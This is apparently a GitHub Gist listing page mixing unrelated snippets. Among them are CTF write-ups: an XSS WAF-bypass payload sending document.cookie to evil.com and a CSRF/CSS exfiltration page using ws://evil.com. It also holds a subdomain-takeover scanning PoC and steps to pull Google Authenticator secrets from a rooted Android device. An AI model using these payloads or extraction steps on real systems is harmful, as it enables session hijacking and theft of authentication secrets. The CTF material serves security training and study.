Skip to content

Instantly share code, notes, and snippets.

@ngo
ngo / Anomaly
Last active September 14, 2017 03:58
PHDays Waf Bypass
In this task we had to bypass a badly-trained anomaly detection algorithm and perform an XSS attack.
We didn't have to figure out exactly how the anomaly detection worked, but as soon as we understood that the anomaly scoring was based on the density of the "bad" (i.e. non-alphanumeric) chars in the payload. Thus, the solution was to dissolve the attack payload in a lot of benign symbols ([AxN] represents a string of N A's):
anomaly.php?name=[Ax600]%3Cvideo+[Ax300]+src=//evil.com+[Ax300]+onerror=src%2b=document.cookie+[Ax1000]+/>
@cgvwzq
cgvwzq / index.html
Last active January 26, 2018 07:25
insomnihack'18 - Cool Storage Service web challenge
<body>
<form action="http://css.teaser.insomnihack.ch/?page=profile" method="POST">
// change admin's email
<input type="text" name="email" value="wololo@coolmail.com">
<input type="text" name="csrf" value="">
<input type="text" name="change" value="Modify profile">
</form>
<iframe id="leakchar"></iframe>
<script>
const WS = "ws://evil.com:8000";
#!/bin/bash
# Very secure OpenVPN server installer for CentOS
if [[ "$EUID" -ne 0 ]]; then
echo "Sorry, you need to run this as root"
exit 1
fi
@xymopen
xymopen / fernflower.ps1
Last active April 23, 2022 01:03
IntelliJ IDEA Java decompiler wrapper script for PowerShell
############################################################################
#
# IntelliJ IDEA Java Decompiler wrapper script for Windows
#
# @see https://stackoverflow.com/questions/28389006/how-to-decompile-to-java-files-intellij-idea/30106981
# @see https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine
#
############################################################################
$IDEA_PATH = "$Env:ProgramFiles\JetBrains\IntelliJ IDEA 2020.1.1"
@hanula
hanula / two_letter_domains.txt
Created February 23, 2015 16:31
2 letter domains
aa.je
ae.je
ae.gg
ae.ht
af.je
af.cx
af.gg
af.gl
af.ht
ah.je
aj.rs
aw.rs
ay.rs
bd.rs
bf.rs
bh.rs
bj.rs
bq.rs
bx.rs
cj.rs
@trongthanh
trongthanh / mojave.xml
Last active January 26, 2023 19:04
macOS Mojave dynamic background re-implement as GTK+ background slideshow. Background images are changed to reflect the time of the day.
<!-- Instructions:
- Download and unzip Mojave dynamic background here: https://files.rb.gd/mojave_dynamic.zip
- Rename the extracted folder as "mojave-background" (Excuse the trouble but I renamed it on my machine and already use that path in the XML file)
- Save this xml file next to the Mojave background files
- Fix the path to the background images below (better using absolute path)
- Lastly, either:
+ GNOME: Use gnome-tweaks tool to select this XML as wallpaper (as default wallpaper settings won't let you choose wallpaper from custom path)
+ MATE: Go to background setting (in Appearance) > Choose +Add... > make sure **All files** filter is selected at the bottom right > Then choose mojave.xml
-->
<background>
@akalongman
akalongman / php-soap.php
Created April 1, 2015 08:44
PHP soap client example
ini_set('soap.wsdl_cache_enabled', 0);
ini_set('soap.wsdl_cache_ttl', 900);
ini_set('default_socket_timeout', 15);
$params = array('param1'=>$param1);
$wsdl = 'http://service_url/method?WSDL';
@haccer
haccer / scanio.sh
Last active July 17, 2023 02:02
PoC script to mass-locate vulnerable subdomains using results from Rapid7's Project Sonar
#!/bin/bash
# Usage : ./scanio.sh <save file>
# Example: ./scanio.sh cname_list.txt
# Premium
function ech() {
spinner=( "|" "/" "-" "\\" )
while true; do
for i in ${spinner[@]}; do
echo -ne "\r[$i] $1"
@jbinto
jbinto / howto-recover-google-authenticator-keys.txt
Created February 8, 2014 04:20
Recovering Google Authenticator keys from Android device for backup
### Last tested February 7 2014 on a Galaxy S3 (d2att) running Cyanogenmod 11 nightly, with Google Authenticator 2.49.
### Device with Google Authenticator must have root.
### Computer requires Android Developer Tools and SQLite 3.
### Connect your device in USB debugging mode.
$ cd /tmp
$ adb root
$ adb pull /data/data/com.google.android.apps.authenticator2/databases/databases